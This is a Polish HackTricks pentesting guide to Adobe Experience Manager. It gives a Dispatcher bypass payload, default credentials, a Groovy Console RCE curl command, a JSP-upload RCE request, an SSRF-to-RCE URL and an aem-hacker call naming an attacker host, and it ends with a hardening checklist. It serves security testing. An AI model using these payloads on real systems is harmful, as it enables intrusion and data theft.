AEM (Adobe Experience Manager) Pentesting

Reading time: 5 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Adobe Experience Manager (AEM, część Adobe Experience Cloud) to korporacyjny CMS, który działa na Apache Sling/Felix (OSGi) oraz Java Content Repository (JCR). Z perspektywy atakującego instancje AEM często ujawniają niebezpieczne punkty końcowe do rozwoju, słabe zasady Dispatcher, domyślne dane uwierzytelniające oraz długą listę CVE, które są łatanie co kwartał.

Lista kontrolna poniżej koncentruje się na zewnętrznie dostępnej (unauth) powierzchni ataku, która wciąż pojawia się w rzeczywistych zaangażowaniach (2022-2025).


1. Fingerprinting

$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1            # header added by AEM Dispatcher
X-Vary: Accept-Encoding

Inne szybkie wskaźniki:

  • /etc.clientlibs/ statyczna ścieżka obecna (zwraca JS/CSS).
  • /libs/granite/core/content/login.html strona logowania z banerem „Adobe Experience Manager”.
  • </script><!--/* CQ */--> komentarz na dole HTML.

2. Wysokowartościowe punkty końcowe bez uwierzytelnienia

ŚcieżkaCo otrzymujeszUwagi
/.json, /.1.jsonWęzły JCR za pomocą DefaultGetServletCzęsto zablokowane, ale Dispatcher bypass (patrz poniżej) działa.
/bin/querybuilder.json?path=/API QueryBuilderWyciek drzewa stron, wewnętrzne ścieżki, nazwy użytkowników.
/system/console/status-*, /system/console/bundlesKonsola OSGi/Felix403 domyślnie; jeśli ujawnione i znalezione dane uwierzytelniające ⇒ RCE przy przesyłaniu pakietów.
/crx/packmgr/index.jspMenedżer pakietówUmożliwia przesyłanie pakietów treści z uwierzytelnieniem → przesyłanie ładunków JSP.
/etc/groovyconsole/**AEM Groovy ConsoleJeśli ujawnione → dowolne wykonanie Groovy / Java.
/libs/cq/AuditlogSearchServlet.jsonDzienniki audytuUjawnienie informacji.
/libs/cq/ui/content/dumplibs.htmlZrzut ClientLibsWektor XSS.

Sztuczka z obejściem Dispatcher

Większość stron produkcyjnych znajduje się za Dispatcher (reverse-proxy). Jego zasady filtrów można obejść, dodając dozwoloną statyczną rozszerzenie po średniku lub zakodowanej nowej linii:

GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1

Jedno zapytanie, jak powyżej, często ujawnia węzły profilu użytkownika z adresami e-mail. P-T Partners opublikowało dobre wskazówki dotyczące tej słabości. 【】


3. Typowe błędne konfiguracje (wciąż obecne w 2025)

  1. Anonimowy serwlet POSTPOST /.json z :operation=import pozwala na dodawanie nowych węzłów JCR. Zablokowanie *.json POST w Dispatcherze to naprawia. 【】
  2. Profile użytkowników dostępne dla wszystkich – domyślne ACL przyznaje jcr:read na /home/users/**/profile/* wszystkim.
  3. Domyślne dane logowaniaadmin:admin, author:author, replication:replication.
  4. Włączony WCMDebugFilter ⇒ odzwierciedlone XSS przez ?debug=layout (CVE-2016-7882, wciąż znalezione w starszych instalacjach 6.4).
  5. Ekspozycja Groovy Console – zdalne wykonanie kodu przez wysłanie skryptu Groovy:
bash
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json

4. Ostatnie luki (cykl wydania pakietów serwisowych)

KwartałCVEDotknięteWpływ
Grudzień 2024CVE-2024-437116.5.21 i wcześniejszeNiewłaściwa walidacja wejścia → Wykonanie dowolnego kodu (wymaga niskoprawnych uprawnień). 【】
Grudzień 2024CVE-2024-43724/266.5.21 i wcześniejszeDOM / Przechowywane XSS w kreatorze przenoszenia strony. 【】
Grudzień 2023CVE-2023-48452/68≤ 6.5.18XSS oparte na DOM przez spreparowany URL. 【】
Grudzień 2022CVE-2022-30683≤ 6.5.13Wada w projektowaniu kryptograficznym → odszyfrowanie sekretu (wymaga niskoprawnych danych logowania). 【】

Zawsze sprawdzaj biuletyn APSB odpowiadający pakietowi serwisowemu klienta i żądaj najnowszej wersji 6.5.22 lub Cloud Service 2024.11.


5. Fragmenty eksploatacji

5.1 RCE przez obejście dispatcher + przesyłanie JSP

Jeśli możliwe jest anonimowe zapisywanie:

# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded

:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import

Teraz zażądaj /content/evil.jsp – JSP działa z użytkownikiem procesu AEM.

5.2 SSRF do RCE (historyczne < 6.3)

/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console aem_ssrf2rce.py z aem-hacker automatyzuje cały proces. 【】


6. Narzędzia

  • aem-hacker – skrypt do enumeracji typu szwajcarski scyzoryk, wspiera obejście dispatcher, wykrywanie SSRF, sprawdzanie domyślnych poświadczeń i więcej.
bash
python3 aem_hacker.py -u https://target --host attacker-ip
  • Content Brute-force – rekurencyjnie żądaj /_jcr_content.(json|html), aby odkryć ukryte komponenty.
  • osgi-infect – przesyłaj złośliwy pakiet OSGi przez /system/console/bundles, jeśli dostępne są poświadczenia.

7. Lista kontrolna wzmacniania (dla rekomendacji w Twoim raporcie)

  1. Utrzymuj instancję na najbardziej aktualnym pakiecie serwisowym (stan na lipiec 2025: 6.5.22).
  2. Usuń/zmień domyślne konta; wymuś SSO/SAML.
  3. Zaostrzyć filtry Dispatcher – odrzucić ;, zakodowane nowe linie oraz *.json lub *.querybuilder.json dla anonimowych użytkowników.
  4. Wyłącz lub zabezpiecz konsolę (/system/console, /crx/*, /etc/groovyconsole) za pomocą listy dozwolonych adresów IP.
  5. Zastosuj pakiet Wzmacnianie uprawnień anonimowych dostarczony przez Adobe.

Odniesienia

  • Adobe Security Bulletin APSB24-69 – „Aktualizacje zabezpieczeń dla Adobe Experience Manager (grudzień 2024)”.
  • 0ang3el – narzędzie aem-hacker (GitHub).

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks